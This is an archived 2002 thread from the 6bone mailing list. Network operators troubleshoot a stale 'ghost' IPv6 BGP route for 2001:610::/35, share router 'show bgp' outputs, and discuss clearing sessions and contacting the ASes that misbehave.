To: "Jorgensen, Roger" <RJorgensen@upctechnology.com>,
   "'Gert Doering'" <gert@space.net>, "Wim Biemolt" <Wim.Biemolt@surfnet.nl>
Cc: <6bone@ISI.EDU>
References: <7CEA40C0E10C7D4FBE076AE7C3EFB78D88F253@nlcbbms03>
Subject: Re: [6bone] routing problem
Date: Mon, 12 Aug 2002 21:06:26 +0100
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Hi,

2001:610::/35 is not in our routing table from any peer.
We're seeing 2001:610::/32 from the following:

--cut--
BGP routing table entry for 2001:610::/32
Paths: (3 available, best #3, table Default-IP-Routing-Table)
  Advertised to non peer-group peers:
  3ffe:200:1:81::1 3ffe:1200:1002:1::f1 3ffe:4005:0:1::d 3ffe:4005:0:1::19
3ffe:4005:0:1::23 3ffe:4005:0:1::27
  1654 8954 1103
    3ffe:200:1:81::1 from 3ffe:200:1:81::1 (193.10.66.219)
      Origin IGP, localpref 100, valid, external
      Community: 24765:200 24765:2200 24765:7000
      Last update: Mon Aug 12 13:44:10 2002

  6726 1103
    3ffe:4005:0:1::16 from 3ffe:4005:0:1::16 (80.71.6.94)
      Origin IGP, localpref 100, valid, internal
      Community: 24765:300 24765:1800 24765:8009
      Last update: Sat Aug 10 18:18:25 2002

  3265 1103
    3ffe:4005::1 from 3ffe:4005::1 (62.24.229.120)
    (fe80::2d0:b7ff:fe49:b3cc)
      Origin IGP, localpref 100, valid, internal, best
      Community: 24765:100 24765:1800 24765:6010
      Last update: Fri Aug  9 21:34:49 2002
--cut--


With Thanks,

Daniel Austin,
Managing Director,
kewlio.net Limited.
<daniel@kewlio.net>

----- Original Message -----
From: "Jorgensen, Roger" <RJorgensen@upctechnology.com>
To: "'Gert Doering'" <gert@space.net>; "Wim Biemolt"
<Wim.Biemolt@surfnet.nl>
Cc: <6bone@ISI.EDU>
Sent: Monday, August 12, 2002 8:42 PM
Subject: RE: [6bone] routing problem


> Hi,
>
> We're geting the 2001:610::/35 from many of our peers, and
> we're also seing the 2001:610::/32 from even more peers.
>
> Seems like the ghost bug is out there again... this is what
> we see, and there are some common as path's in all of them,
>
>
> BGP routing table entry for 2001:610::/35, version 95785
> Paths: (26 available, best #21, table Global-IPv6-Table)
>   Advertised to non peer-group peers:
>   2001:6C8:0:FFFD::12 2001:730::1:1 2001:730::1:3 2001:730::1:5
> 2001:730::1:7
>   2001:730::1:F 2001:730::1:15 2001:730::1:19 2001:730::1:1D
> 2001:730::1:21
>   2001:730::1:23 2001:730::1:29 2001:730::1:2F 2001:730::1:31
> 2001:730::1:33
>   2001:730::1:35 2001:730::1:37 2001:730::1:39 2001:730::1:3B
> 2001:730::1:3F
>   2001:730::1:41 2001:730:0:2::AAE2 2001:740:0:102::1:0 2001:768:E:24::1
>   2001:778:11:4::2 2001:7F8:2:800F::2 3FFE:2000:0:40F::22F
> 3FFE:2501:100::21
>   3FFE:2900:1:5::1 3FFE:4006:0:3::11 3FFE:4008:1::D 3FFE:81F1:1:2022::1
>   3FFE:8270:0:1::52
>   2012 513 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103
> 145.145.249.242)
>     2001:730::1:33 from 2001:730::1:33 (193.224.190.128)
>       Origin IGP, localpref 100, valid, external, atomic-aggregate
>       Community: 2012:200 2012:513 6830:60003 6830:60011
>   2012 513 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103
> 145.145.249.242), (received-only)
>     2001:730::1:33 from 2001:730::1:33 (193.224.190.128)
>       Origin IGP, localpref 100, valid, external, atomic-aggregate
>       Community: 2012:200 2012:513
>   790 3274 6175 10109 7660 2500 4725 1752 6939 3425 1103, (aggregated by
> 1103 145.145.249.242)
>     2001:730::1:7 from 2001:730::1:7 (193.94.250.58)
>       Origin IGP, localpref 100, valid, external, atomic-aggregate
>       Community: 6830:60003 6830:60011
>   790 3274 6175 10109 7660 2500 4725 1752 6939 3425 1103, (aggregated by
> 1103 145.145.249.242), (received-only)
>     2001:730::1:7 from 2001:730::1:7 (193.94.250.58)
>       Origin IGP, localpref 100, valid, external, atomic-aggregate
>   559 513 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103
> 145.145.249.242)
>     3FFE:2000:0:40F::22F from 3FFE:2000:0:40F::22F (130.59.32.38)
>       Origin IGP, localpref 100, valid, external, atomic-aggregate
>       Community: 6830:60003 6830:60011
>   559 513 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103
> 145.145.249.242), (received-only)
>     3FFE:2000:0:40F::22F from 3FFE:2000:0:40F::22F (130.59.32.38)
>       Origin IGP, localpref 100, valid, external, atomic-aggregate
>   3292 109 6435 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by
> 1103 145.145.249.242)
>     2001:6C8:0:FFFD::12 from 2001:6C8:0:FFFD::12 (195.249.8.172)
>       Origin IGP, localpref 100, valid, external, atomic-aggregate
>       Community: 6830:60003 6830:60011
>   3292 109 6435 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by
> 1103 145.145.249.242), (received-only)
>     2001:6C8:0:FFFD::12 from 2001:6C8:0:FFFD::12 (195.249.8.172)
>       Origin IGP, localpref 100, valid, external, atomic-aggregate
>   6726 24765 6435 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by
> 1103 145.145.249.242)
>     2001:730::1:19 from 2001:730::1:19 (80.84.236.164)
>       Origin IGP, localpref 100, valid, external, atomic-aggregate
>       Community: 6830:60003 6830:60011
>   6726 24765 6435 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by
> 1103 145.145.249.242), (received-only)
>     2001:730::1:19 from 2001:730::1:19 (80.84.236.164)
>       Origin IGP, localpref 100, valid, external, atomic-aggregate
>   8758 24765 4618 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by
> 1103 145.145.249.242)
>     3FFE:4006:0:3::11 from 3FFE:4006:0:3::11 (212.25.27.46)
>       Origin IGP, localpref 100, valid, external, atomic-aggregate
>       Community: 6830:60003 6830:60011 24765:200 24765:800 24765:3500
> 24765:7005
>   8758 24765 4618 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by
> 1103 145.145.249.242), (received-only)
>     3FFE:4006:0:3::11 from 3FFE:4006:0:3::11 (212.25.27.46)
>       Origin IGP, localpref 100, valid, external, atomic-aggregate
>       Community: 24765:200 24765:800 24765:3500 24765:7005
>   8973 24765 4618 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by
> 1103 145.145.249.242)
>     3FFE:4008:1::D from 3FFE:4008:1::D (192.16.124.2)
>       Origin IGP, localpref 100, valid, external, atomic-aggregate
>       Community: 6830:60003 6830:60011
>   8973 24765 4618 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by
> 1103 145.145.249.242), (received-only)
>     3FFE:4008:1::D from 3FFE:4008:1::D (192.16.124.2)
>      Origin IGP, localpref 100, valid, external, atomic-aggregate
>   6175 10109 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103
> 145.145.249.242)
>     3FFE:2900:1:5::1 from 3FFE:2900:1:5::1 (208.19.223.30)
>       Origin IGP, metric 0, localpref 100, valid, external,
> atomic-aggregate
>       Community: 6830:60003 6830:60011
>   6175 10109 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103
> 145.145.249.242), (received-only)    3FFE:2900:1:5::1 from
> 3FFE:2900:1:5::1 (208.19.223.30)
>       Origin IGP, metric 0, localpref 100, valid, external,
> atomic-aggregate
>   20834 513 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103
> 145.145.249.242)
>     3FFE:8270:0:1::52 from 3FFE:8270:0:1::52 (80.71.0.50)
>       Origin IGP, localpref 100, valid, external, atomic-aggregate
>       Community: 6830:60003 6830:60011
>   20834 513 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103
> 145.145.249.242), (received-only)
>     3FFE:8270:0:1::52 from 3FFE:8270:0:1::52 (80.71.0.50)
>       Origin IGP, localpref 100, valid, external, atomic-aggregate
>   15589 5609 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103
> 145.145.249.242)
>     2001:730::1:F from 2001:730::1:F (192.168.1.12)
>       Origin IGP, localpref 100, valid, external, atomic-aggregate
>       Community: 6830:60003 6830:60011
>   15589 5609 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103
> 145.145.249.242), (received-only)
>     2001:730::1:F from 2001:730::1:F (192.168.1.12)
>       Origin IGP, localpref 100, valid, external, atomic-aggregate
>   5609 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103
> 145.145.249.242)
>     2001:730::1:9 from 2001:730::1:9 (163.162.170.129)
>       Origin IGP, localpref 100, valid, external, atomic-aggregate, best
>       Community: 6830:60003 6830:60011
>   5609 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103
> 145.145.249.242), (received-only)
>     2001:730::1:9 from 2001:730::1:9 (163.162.170.129)
>       Origin IGP, localpref 100, valid, external, atomic-aggregate
>   8379 6435 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103
> 145.145.249.242)
>     2001:768:E:24::1 from 2001:768:E:24::1 (195.143.108.166)
>       Origin IGP, localpref 100, valid, external, atomic-aggregate
>       Community: 6830:60003 6830:60011
>   8379 6435 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103
> 145.145.249.242), (received-only)
>     2001:768:E:24::1 from 2001:768:E:24::1 (195.143.108.166)
>       Origin IGP, localpref 100, valid, external, atomic-aggregate
>   12337 15589 5609 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by
> 1103 145.145.249.242)
>     2001:730::1:31 from 2001:730::1:31 (62.128.0.14)
>       Origin IGP, metric 10, localpref 100, valid, external,
> atomic-aggregate
>       Community: 6830:60003 6830:60011 12337:6004
>   12337 15589 5609 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by
> 1103 145.145.249.242), (received-only)
>     2001:730::1:31 from 2001:730::1:31 (62.128.0.14)
>       Origin IGP, metric 10, localpref 100, valid, external,
> atomic-aggregate
>       Community: 12337:6004
>
>
>
> ---
> Roger Jorgensen (rjorgensen@upctechnology.com)
> System Engineer @ engineering - UPC Technology
> handles: ROJO1-6BONE ROJO9-RIPE RJC10-NORID
>
>
> > -----Original Message-----
> > From: Gert Doering [mailto:gert@space.net]
> > Sent: Monday, August 12, 2002 9:20 PM
> > To: Wim Biemolt
> > Cc: 6bone@ISI.EDU
> > Subject: Re: [6bone] routing problem
> >
> >
> > Hi,
> >
> > (I am copying the 6bone mailing list back in, as I think this
> > is a pretty
> > generic problem - I hope you don't mind)
> >
> > On Mon, Aug 12, 2002 at 08:56:09PM +0200, Wim Biemolt wrote:
> > > ==> From: Gert Doering
> > >
> > > > To clarify this:  this is not an effect of "caching" of
> > any sort.  It's
> > > > just plain buggy router implementations that don't handle
> > withdrawals
> > > > correctly.
> > >
> > > So I can only hope that a buggy router implementation also
> > means a memory
> > > leak or something like that causing them to reboot in the
> > real near future?
> >
> > No.  In our case, the /35 staid in the table until I finally
> > managed to
> > reach someone at Viagenie who cleared some sessions...  the BT /35 got
> > stuck at Chello, and after clearing their sessions, at Viagenie.
> >
> > > The only other option I see is switch back to our /35. We
> > are using IPv6
> > > as production.
> >
> > So are we...
> >
> > > Being without any decent IPv6 connectivity for too long
> > > won't do our case for IPv6 any good I'm afraid.
> >
> > No :-((
> >
> > My recommendation would be to contact all your peers and
> > check the different
> > paths seen everywhere for "common tails".  Then contact the
> > AS(es) that you
> > see in the first hop of the "common tail" (in your case, as
> > far as I could
> > see, Chello and this Japanese AS) and ask them to check their
> > tables for
> > the prefix, and preferably clear some BGP sessions (upstream and/or
> > downstream).
> >
> > In the last case, clearing session at Chello and yelling at Viagenie
> > helped...   but as I said, this time, Viagenie hasn't been in
> > the paths
> > (yet?), but a new japanese AS that I haven't seen before.
> >
> > This takes some time, though (1-2 days).  If you can't spend
> > that time,
> > you'll have to announce both the /32 and the /35, establish contact to
> > the suspect ASes, withdraw the /35 again, and hope that you got the
> > right ones.
> >
> > Feel free to contact me to get an "show bgp ipv6 ..." output
> > from here.
> >
> > Gert Doering
> >         -- NetMaster
> > --
> > Total number of prefixes smaller than registry allocations:
> > 46871 (46631)
> >
> > SpaceNet AG                 Mail: netmaster@Space.Net
> > Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
> > 80807 Muenchen              Fax : +49-89-32356-299
> >
> > _______________________________________________
> > 6bone mailing list
> > 6bone@mailman.isi.edu
> > http://mailman.isi.edu/mailman/listinfo/6bone
> >
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
>

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From gert@Space.Net Mon Aug 12 13:16:11 2002
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Date: Mon, 12 Aug 2002 22:16:08 +0200
From: Gert Doering <gert@space.net>
To: Jeroen Massar <jeroen@unfix.org>
Cc: "'Wim Biemolt'" <Wim.Biemolt@surfnet.nl>,
   "'Gert Doering'" <gert@space.net>,
   "'Nicolas DEFFAYET'" <nicolas.deffayet@ndsoftware.net>,
   Ronald.vanderPol@rvdp.org, 6bone@ISI.EDU
Subject: Re: [6bone] routing problem
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Hi,

On Mon, Aug 12, 2002 at 09:50:55PM +0200, Jeroen Massar wrote:
> There is one good way: find out the AS's who are 'bad' and depeer them
> if they don't respond in x time.
> This is just the same as for IPv4...

Yes, peer pressure should help.  Right now, I'm observing the following
two paths (only two left - so things are moving):

cisco25>sh bgp ipv6 2001:610::/35 | inc aggregated
  3561 5511 2611 2200 2602 559 513 9264 7660 2500 4697 3748 1275 762 20834 1654 6342 45589 278 6939 3274 790 8627 517 8472 6830 6726 24765 13285 786 11537 145 293, (aggregated by 1103 145.145.249.242)
  1930 13944 15982 3265 8954 13193 5410 5594 2200 9112 3320 680 1275 762 20834 1654 6342 45589 278 6939 3274 790 8627 517 8472 6830 6726 24765 13285 786 11537 145 293, (aggregated by 1103 145.145.249.242)

it would be a good start if people stopped peering with 45589 - this AS
number is unassigned and thould NEVER be used.

Oh.  Watching this - right this moment, the paths are changing rapidly, so
I think some achievement has been made...

Some minutes later...  bingo:

cisco25>sh bgp ipv6 2001:610::/35
% Network not in table
cisco25>

gone.  Does anybody know more about *who* did something which got rid
of this ghost?

> PS: Gert.. did you put an extra page in your presentation saying TLA's
> are moving to /32's?

Not yet, but it's on the TODO list.  It definitely belongs in there.

> PS2: Gert, don't get a sunburn in Rhodos ;)

I'll try to ;-)

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  46871 (46631)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From sp@iphh.net Mon Aug 12 13:26:59 2002
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Date: Mon, 12 Aug 2002 22:26:56 +0200 (CEST)
From: "Sascha E. Pollok" <sp@iphh.net>
X-Sender: sp@locus.tech.iphh.net
To: Daniel Austin <daniel@kewlio.net>
cc: "Jorgensen, Roger" <RJorgensen@upctechnology.com>,
   "'Gert Doering'" <gert@space.net>, Wim Biemolt <Wim.Biemolt@surfnet.nl>,
   6bone@ISI.EDU
Subject: Re: [6bone] routing problem
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Hey folks,

while this is definitely funny:

cr4.hamburg1#sh bgp ipv6 2001:610::/35
BGP routing table entry for 2001:610::/35, version 201014
Paths: (0 available, no best path)
Flag: 0x820
  Advertised to peer-groups:
     PEERS

Isn't it? As you see, the cisco knows the path
but does not know any paths towards the destination :-)

-Sascha

On Mon, 12 Aug 2002, Daniel Austin wrote:

> Hi,
> 
> 2001:610::/35 is not in our routing table from any peer.
> We're seeing 2001:610::/32 from the following:
> 
> --cut--
> BGP routing table entry for 2001:610::/32
> Paths: (3 available, best #3, table Default-IP-Routing-Table)
>   Advertised to non peer-group peers:
>   3ffe:200:1:81::1 3ffe:1200:1002:1::f1 3ffe:4005:0:1::d 3ffe:4005:0:1::19
> 3ffe:4005:0:1::23 3ffe:4005:0:1::27
>   1654 8954 1103
>     3ffe:200:1:81::1 from 3ffe:200:1:81::1 (193.10.66.219)
>       Origin IGP, localpref 100, valid, external
>       Community: 24765:200 24765:2200 24765:7000
>       Last update: Mon Aug 12 13:44:10 2002
> 
>   6726 1103
>     3ffe:4005:0:1::16 from 3ffe:4005:0:1::16 (80.71.6.94)
>       Origin IGP, localpref 100, valid, internal
>       Community: 24765:300 24765:1800 24765:8009
>       Last update: Sat Aug 10 18:18:25 2002
> 
>   3265 1103
>     3ffe:4005::1 from 3ffe:4005::1 (62.24.229.120)
>     (fe80::2d0:b7ff:fe49:b3cc)
>       Origin IGP, localpref 100, valid, internal, best
>       Community: 24765:100 24765:1800 24765:6010
>       Last update: Fri Aug  9 21:34:49 2002
> --cut--
> 
> 
> With Thanks,
> 
> Daniel Austin,
> Managing Director,
> kewlio.net Limited.
> <daniel@kewlio.net>
> 
> ----- Original Message -----
> From: "Jorgensen, Roger" <RJorgensen@upctechnology.com>
> To: "'Gert Doering'" <gert@space.net>; "Wim Biemolt"
> <Wim.Biemolt@surfnet.nl>
> Cc: <6bone@ISI.EDU>
> Sent: Monday, August 12, 2002 8:42 PM
> Subject: RE: [6bone] routing problem
> 
> 
> > Hi,
> >
> > We're geting the 2001:610::/35 from many of our peers, and
> > we're also seing the 2001:610::/32 from even more peers.
> >
> > Seems like the ghost bug is out there again... this is what
> > we see, and there are some common as path's in all of them,
> >
> >
> > BGP routing table entry for 2001:610::/35, version 95785
> > Paths: (26 available, best #21, table Global-IPv6-Table)
> >   Advertised to non peer-group peers:
> >   2001:6C8:0:FFFD::12 2001:730::1:1 2001:730::1:3 2001:730::1:5
> > 2001:730::1:7
> >   2001:730::1:F 2001:730::1:15 2001:730::1:19 2001:730::1:1D
> > 2001:730::1:21
> >   2001:730::1:23 2001:730::1:29 2001:730::1:2F 2001:730::1:31
> > 2001:730::1:33
> >   2001:730::1:35 2001:730::1:37 2001:730::1:39 2001:730::1:3B
> > 2001:730::1:3F
> >   2001:730::1:41 2001:730:0:2::AAE2 2001:740:0:102::1:0 2001:768:E:24::1
> >   2001:778:11:4::2 2001:7F8:2:800F::2 3FFE:2000:0:40F::22F
> > 3FFE:2501:100::21
> >   3FFE:2900:1:5::1 3FFE:4006:0:3::11 3FFE:4008:1::D 3FFE:81F1:1:2022::1
> >   3FFE:8270:0:1::52
> >   2012 513 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103
> > 145.145.249.242)
> >     2001:730::1:33 from 2001:730::1:33 (193.224.190.128)
> >       Origin IGP, localpref 100, valid, external, atomic-aggregate
> >       Community: 2012:200 2012:513 6830:60003 6830:60011
> >   2012 513 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103
> > 145.145.249.242), (received-only)
> >     2001:730::1:33 from 2001:730::1:33 (193.224.190.128)
> >       Origin IGP, localpref 100, valid, external, atomic-aggregate
> >       Community: 2012:200 2012:513
> >   790 3274 6175 10109 7660 2500 4725 1752 6939 3425 1103, (aggregated by
> > 1103 145.145.249.242)
> >     2001:730::1:7 from 2001:730::1:7 (193.94.250.58)
> >       Origin IGP, localpref 100, valid, external, atomic-aggregate
> >       Community: 6830:60003 6830:60011
> >   790 3274 6175 10109 7660 2500 4725 1752 6939 3425 1103, (aggregated by
> > 1103 145.145.249.242), (received-only)
> >     2001:730::1:7 from 2001:730::1:7 (193.94.250.58)
> >       Origin IGP, localpref 100, valid, external, atomic-aggregate
> >   559 513 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103
> > 145.145.249.242)
> >     3FFE:2000:0:40F::22F from 3FFE:2000:0:40F::22F (130.59.32.38)
> >       Origin IGP, localpref 100, valid, external, atomic-aggregate
> >       Community: 6830:60003 6830:60011
> >   559 513 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103
> > 145.145.249.242), (received-only)
> >     3FFE:2000:0:40F::22F from 3FFE:2000:0:40F::22F (130.59.32.38)
> >       Origin IGP, localpref 100, valid, external, atomic-aggregate
> >   3292 109 6435 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by
> > 1103 145.145.249.242)
> >     2001:6C8:0:FFFD::12 from 2001:6C8:0:FFFD::12 (195.249.8.172)
> >       Origin IGP, localpref 100, valid, external, atomic-aggregate
> >       Community: 6830:60003 6830:60011
> >   3292 109 6435 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by
> > 1103 145.145.249.242), (received-only)
> >     2001:6C8:0:FFFD::12 from 2001:6C8:0:FFFD::12 (195.249.8.172)
> >       Origin IGP, localpref 100, valid, external, atomic-aggregate
> >   6726 24765 6435 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by
> > 1103 145.145.249.242)
> >     2001:730::1:19 from 2001:730::1:19 (80.84.236.164)
> >       Origin IGP, localpref 100, valid, external, atomic-aggregate
> >       Community: 6830:60003 6830:60011
> >   6726 24765 6435 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by
> > 1103 145.145.249.242), (received-only)
> >     2001:730::1:19 from 2001:730::1:19 (80.84.236.164)
> >       Origin IGP, localpref 100, valid, external, atomic-aggregate
> >   8758 24765 4618 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by
> > 1103 145.145.249.242)
> >     3FFE:4006:0:3::11 from 3FFE:4006:0:3::11 (212.25.27.46)
> >       Origin IGP, localpref 100, valid, external, atomic-aggregate
> >       Community: 6830:60003 6830:60011 24765:200 24765:800 24765:3500
> > 24765:7005
> >   8758 24765 4618 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by
> > 1103 145.145.249.242), (received-only)
> >     3FFE:4006:0:3::11 from 3FFE:4006:0:3::11 (212.25.27.46)
> >       Origin IGP, localpref 100, valid, external, atomic-aggregate
> >       Community: 24765:200 24765:800 24765:3500 24765:7005
> >   8973 24765 4618 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by
> > 1103 145.145.249.242)
> >     3FFE:4008:1::D from 3FFE:4008:1::D (192.16.124.2)
> >       Origin IGP, localpref 100, valid, external, atomic-aggregate
> >       Community: 6830:60003 6830:60011
> >   8973 24765 4618 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by
> > 1103 145.145.249.242), (received-only)
> >     3FFE:4008:1::D from 3FFE:4008:1::D (192.16.124.2)
> >      Origin IGP, localpref 100, valid, external, atomic-aggregate
> >   6175 10109 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103
> > 145.145.249.242)
> >     3FFE:2900:1:5::1 from 3FFE:2900:1:5::1 (208.19.223.30)
> >       Origin IGP, metric 0, localpref 100, valid, external,
> > atomic-aggregate
> >       Community: 6830:60003 6830:60011
> >   6175 10109 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103
> > 145.145.249.242), (received-only)    3FFE:2900:1:5::1 from
> > 3FFE:2900:1:5::1 (208.19.223.30)
> >       Origin IGP, metric 0, localpref 100, valid, external,
> > atomic-aggregate
> >   20834 513 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103
> > 145.145.249.242)
> >     3FFE:8270:0:1::52 from 3FFE:8270:0:1::52 (80.71.0.50)
> >       Origin IGP, localpref 100, valid, external, atomic-aggregate
> >       Community: 6830:60003 6830:60011
> >   20834 513 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103
> > 145.145.249.242), (received-only)
> >     3FFE:8270:0:1::52 from 3FFE:8270:0:1::52 (80.71.0.50)
> >       Origin IGP, localpref 100, valid, external, atomic-aggregate
> >   15589 5609 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103
> > 145.145.249.242)
> >     2001:730::1:F from 2001:730::1:F (192.168.1.12)
> >       Origin IGP, localpref 100, valid, external, atomic-aggregate
> >       Community: 6830:60003 6830:60011
> >   15589 5609 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103
> > 145.145.249.242), (received-only)
> >     2001:730::1:F from 2001:730::1:F (192.168.1.12)
> >       Origin IGP, localpref 100, valid, external, atomic-aggregate
> >   5609 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103
> > 145.145.249.242)
> >     2001:730::1:9 from 2001:730::1:9 (163.162.170.129)
> >       Origin IGP, localpref 100, valid, external, atomic-aggregate, best
> >       Community: 6830:60003 6830:60011
> >   5609 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103
> > 145.145.249.242), (received-only)
> >     2001:730::1:9 from 2001:730::1:9 (163.162.170.129)
> >       Origin IGP, localpref 100, valid, external, atomic-aggregate
> >   8379 6435 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103
> > 145.145.249.242)
> >     2001:768:E:24::1 from 2001:768:E:24::1 (195.143.108.166)
> >       Origin IGP, localpref 100, valid, external, atomic-aggregate
> >       Community: 6830:60003 6830:60011
> >   8379 6435 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103
> > 145.145.249.242), (received-only)
> >     2001:768:E:24::1 from 2001:768:E:24::1 (195.143.108.166)
> >       Origin IGP, localpref 100, valid, external, atomic-aggregate
> >   12337 15589 5609 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by
> > 1103 145.145.249.242)
> >     2001:730::1:31 from 2001:730::1:31 (62.128.0.14)
> >       Origin IGP, metric 10, localpref 100, valid, external,
> > atomic-aggregate
> >       Community: 6830:60003 6830:60011 12337:6004
> >   12337 15589 5609 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by
> > 1103 145.145.249.242), (received-only)
> >     2001:730::1:31 from 2001:730::1:31 (62.128.0.14)
> >       Origin IGP, metric 10, localpref 100, valid, external,
> > atomic-aggregate
> >       Community: 12337:6004
> >
> >
> >
> > ---
> > Roger Jorgensen (rjorgensen@upctechnology.com)
> > System Engineer @ engineering - UPC Technology
> > handles: ROJO1-6BONE ROJO9-RIPE RJC10-NORID
> >
> >
> > > -----Original Message-----
> > > From: Gert Doering [mailto:gert@space.net]
> > > Sent: Monday, August 12, 2002 9:20 PM
> > > To: Wim Biemolt
> > > Cc: 6bone@ISI.EDU
> > > Subject: Re: [6bone] routing problem
> > >
> > >
> > > Hi,
> > >
> > > (I am copying the 6bone mailing list back in, as I think this
> > > is a pretty
> > > generic problem - I hope you don't mind)
> > >
> > > On Mon, Aug 12, 2002 at 08:56:09PM +0200, Wim Biemolt wrote:
> > > > ==> From: Gert Doering
> > > >
> > > > > To clarify this:  this is not an effect of "caching" of
> > > any sort.  It's
> > > > > just plain buggy router implementations that don't handle
> > > withdrawals
> > > > > correctly.
> > > >
> > > > So I can only hope that a buggy router implementation also
> > > means a memory
> > > > leak or something like that causing them to reboot in the
> > > real near future?
> > >
> > > No.  In our case, the /35 staid in the table until I finally
> > > managed to
> > > reach someone at Viagenie who cleared some sessions...  the BT /35 got
> > > stuck at Chello, and after clearing their sessions, at Viagenie.
> > >
> > > > The only other option I see is switch back to our /35. We
> > > are using IPv6
> > > > as production.
> > >
> > > So are we...
> > >
> > > > Being without any decent IPv6 connectivity for too long
> > > > won't do our case for IPv6 any good I'm afraid.
> > >
> > > No :-((
> > >
> > > My recommendation would be to contact all your peers and
> > > check the different
> > > paths seen everywhere for "common tails".  Then contact the
> > > AS(es) that you
> > > see in the first hop of the "common tail" (in your case, as
> > > far as I could
> > > see, Chello and this Japanese AS) and ask them to check their
> > > tables for
> > > the prefix, and preferably clear some BGP sessions (upstream and/or
> > > downstream).
> > >
> > > In the last case, clearing session at Chello and yelling at Viagenie
> > > helped...   but as I said, this time, Viagenie hasn't been in
> > > the paths
> > > (yet?), but a new japanese AS that I haven't seen before.
> > >
> > > This takes some time, though (1-2 days).  If you can't spend
> > > that time,
> > > you'll have to announce both the /32 and the /35, establish contact to
> > > the suspect ASes, withdraw the /35 again, and hope that you got the
> > > right ones.
> > >
> > > Feel free to contact me to get an "show bgp ipv6 ..." output
> > > from here.
> > >
> > > Gert Doering
> > >         -- NetMaster
> > > --
> > > Total number of prefixes smaller than registry allocations:
> > > 46871 (46631)
> > >
> > > SpaceNet AG                 Mail: netmaster@Space.Net
> > > Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
> > > 80807 Muenchen              Fax : +49-89-32356-299
> > >
> > > _______________________________________________
> > > 6bone mailing list
> > > 6bone@mailman.isi.edu
> > > http://mailman.isi.edu/mailman/listinfo/6bone
> > >
> > _______________________________________________
> > 6bone mailing list
> > 6bone@mailman.isi.edu
> > http://mailman.isi.edu/mailman/listinfo/6bone
> >
> 


From rfurda@best.ca Mon Aug 12 13:48:26 2002
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To: 6bone@ISI.EDU
Subject: Re: [6bone] routing problem
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Date: Mon, 12 Aug 2002 13:48:23 -0700 (PDT)
From: rfurda@best.ca
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   Hello,

FUBAR sees 2001:610::/32 like this:

Query:daemon.fubar.ca> show ipv6 bgp 2001:610::/32
BGP routing table entry for 2001:610::/32
Paths: (4 available, best #2, table Default-IP-Routing-Table)
  Advertised to non peer-group peers:
  3ffe:c00:8023:10::1 3ffe:81a0:1000::11 3ffe:81a0:1000::37
  24765 6726 1103
    3ffe:81a0:1000::11 from 3ffe:81a0:1000::11 (80.71.6.94)
      Origin IGP, localpref 100, valid, external
      Community: 24765:300 24765:800 24765:1800 24765:8009
      Last update: Sun Aug 11 08:17:44 2002

  6939 3265 1103
    3ffe:81a0:1000::15 from 3ffe:81a0:1000::15 (64.71.128.26)
    (fe80::4047:801a)
      Origin IGP, localpref 100, valid, external, best
      Last update: Sun Aug 11 08:17:43 2002

  6435 6175 3549 1103
    3ffe:81a0:1000::37 from 3ffe:81a0:1000::37 (64.65.64.152)
    (fe80::4041:4098)
      Origin IGP, localpref 100, valid, external
      Last update: Sun Aug 11 08:17:40 2002

  109 6939 3265 1103
    3ffe:c00:8023:10::1 from 3ffe:c00:8023:10::1 (128.107.240.254)
    (fe80::806b:f0fe)
      Origin IGP, localpref 100, valid, external
      Last update: Sun Aug 11 08:17:39 2002


Query:daemon.fubar.ca> show ipv6 bgp 2001:610::/35
